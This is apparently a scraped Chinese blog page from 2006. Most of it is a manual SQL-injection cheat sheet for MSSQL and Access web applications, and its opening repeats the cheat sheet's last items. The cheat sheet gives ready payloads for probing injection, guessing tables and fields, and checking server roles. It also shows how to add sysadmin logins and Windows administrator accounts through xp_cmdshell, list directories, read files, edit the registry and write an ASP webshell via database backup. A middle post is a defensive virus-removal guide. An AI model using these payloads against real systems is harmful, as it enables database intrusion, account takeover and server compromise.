;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'CommonFilesDir’ 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'TestValueName’,'reg_sz’,'hello’ 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'TestValueName’ 删除某个值

xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’c:\l.asp’;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values (”);

backup database model to disk=’g:\wwwtest\l.asp’;

Posted by Wyulnnhtg at 08:38:24 | Permalink | No Comments »

Wednesday, June 21, 2006

一个麻烦的病毒!~[清除方法]

截止2006.5.5日,金山毒霸、KV、卡巴还查不到,分析了一下,提供解决办法:

预备工作:将下面代码复制到“记事本”中,改名*.bat:

@echo off
cls
echo ***********************************************************
echo   此文件用于修复 bat com exe pif scr txt ini 文件关联
echo ***********************************************************
echo.
echo REGEDIT4>Fix.reg
echo.>>Fix.reg
echo [HKEY_CLASSES_ROOT\batfile\shell\open\command]>>Fix.reg
echo @=”"%%1″ %%*”>>Fix.reg
echo.>>Fix.reg
echo [HKEY_CLASSES_ROOT\comfile\shell\open\command]>>Fix.reg
echo @=”"%%1″ %%*”>>Fix.reg
echo.>>Fix.reg
echo [HKEY_CLASSES_ROOT\exefile\shell\open\command]>>Fix.reg
echo @=”"%%1″ %%*”>>Fix.reg
echo.>>Fix.reg
echo [HKEY_CLASSES_ROOT\piffile\shell\open\command]>>Fix.reg
echo @=”"%%1″ %%*”>>Fix.reg
echo.>>Fix.reg
echo [HKEY_CLASSES_ROOT\scrfile\shell\open\command]>>Fix.reg
echo @=”"%%1″ /S”>>Fix.reg
echo.>>Fix.reg
echo [HKEY_CLASSES_ROOT\txtfile\shell\open\command]>>Fix.reg
echo @=”NOTEPAD.EXE %%1″>>Fix.reg
echo.>>Fix.reg
echo [HKEY_CLASSES_ROOT\inifile\shell\open\command]>>Fix.reg
echo @=”NOTEPAD.EXE %%1″>>Fix.reg
echo.
pause
start /w regedit /s Fix.reg
del Fix.reg
echo.
echo ****************
echo *   修复成功   *
echo ****************
echo.
pause
cls

切忌
1、进入安全模式,删除如下文件(必须全部删除后才能进行第2步操作):
%ProgramFiles%\Common Files\inexplore.pif
%ProgramFiles%\Internet Explorer\inexplore.com
%Windir%\1.com
%Windir%\exerouter.exe
%Windir%\EXP10RER.com
%Windir%\finders.com
%Windir%\Shell.sys
%Windir%\smss.exe
%Windir%\Debug\DebugProgram.exe
%system%\command.pif
%system%\dxdiag.com
%system%\MSCONFIG.COM
%system%\regedit.com
%system%\rund1132.com
D:\autorun.inf
D:\command.com

2、双击运行刚才下载的Fix.bat,然后打开注册表编辑器,删除如下注册表键值:
[HKEY_CLASSES_ROOT\WindowFiles]
[HKEY_CURRENT_USER\Software\VB and VBA Program Settings]
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
 ”Check_Associations”=”No”
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WindowFiles]
[HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\inexplore.pif]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
 ”TProgram”=”%Windir%\smss.exe”
[HKEY_USERS\S-1-5-21-1757981266-2111687655-682003330-500\Software\VB and VBA Program Settings]
[HKEY_USERS\S-1-5-21-1757981266-2111687655-682003330-500\Software\Microsoft\Internet Explorer\Main]
 ”Check_Associations”=”No”

 

3、恢复被病毒修改的注册表关联:
查找“inexplore.com”,把找到的“explorer.com”修改为“iexplore.exe”;
查找“finders.com”、“command.pif”、“rund1132.com”,把找到的“finders.com”、“command.pif”、“rund1132.com”修改为“rundll32.exe”;
查找“EXP10RER.com”,把找到的“EXP10RER.com”修改为“EXPLORER.EXE”;
查找“inexplore.pif”,把找到的“inexplore.pif”,连同路径一起修改为正常的IE路径和文件名,比如“C:\Program Files\Internet Explorer\iexplore.exe”

将[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
“Shell”=”Explorer.exe 1″修改为:”Shell”=”Explorer.exe”
将[HKEY_CLASSES_ROOT\.exe]的默认值
@=”WindowFiles”修改为@=”exefile”
将[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe]的默认值
@=”WindowFiles”修改为@=”exefile”

 

到此病毒全部清除!

Posted by Wyulnnhtg at 07:55:28 | Permalink | No Comments »

Thursday, May 18, 2006

手工注入命令

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符’and [查询条件] and ”=’

4.搜索时没过滤参数的’and [查询条件] and ‘%25′=’

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));–
;and 1=(select IS_MEMBER(’db_owner’));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–

;exec master.dbo.sp_password null,username,password;–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

;exec master.dbo.xp_cmdshell ‘net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;–

;exec master.dbo.xp_cmdshell ‘net user username password /add’;–

;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:&#92;’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:&#92;’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:&#92;’;– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:&#92;web&#92;index.asp’;– 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,'SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Run’ 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
‘HKEY_LOCAL_MACHINE’,'SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion’,'CommonFilesDir’ 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion’,'TestValueName’,'reg_sz’,'hello’ 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,'SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion’,'TestValueName’ 删除某个值

xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,'SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Testkey’ 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’c:&#92;l.asp’;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values (”);

backup database model to disk=’g:\wwwtest\l.asp’;

Posted by Wyulnnhtg at 04:44:10 | Permalink | No Comments »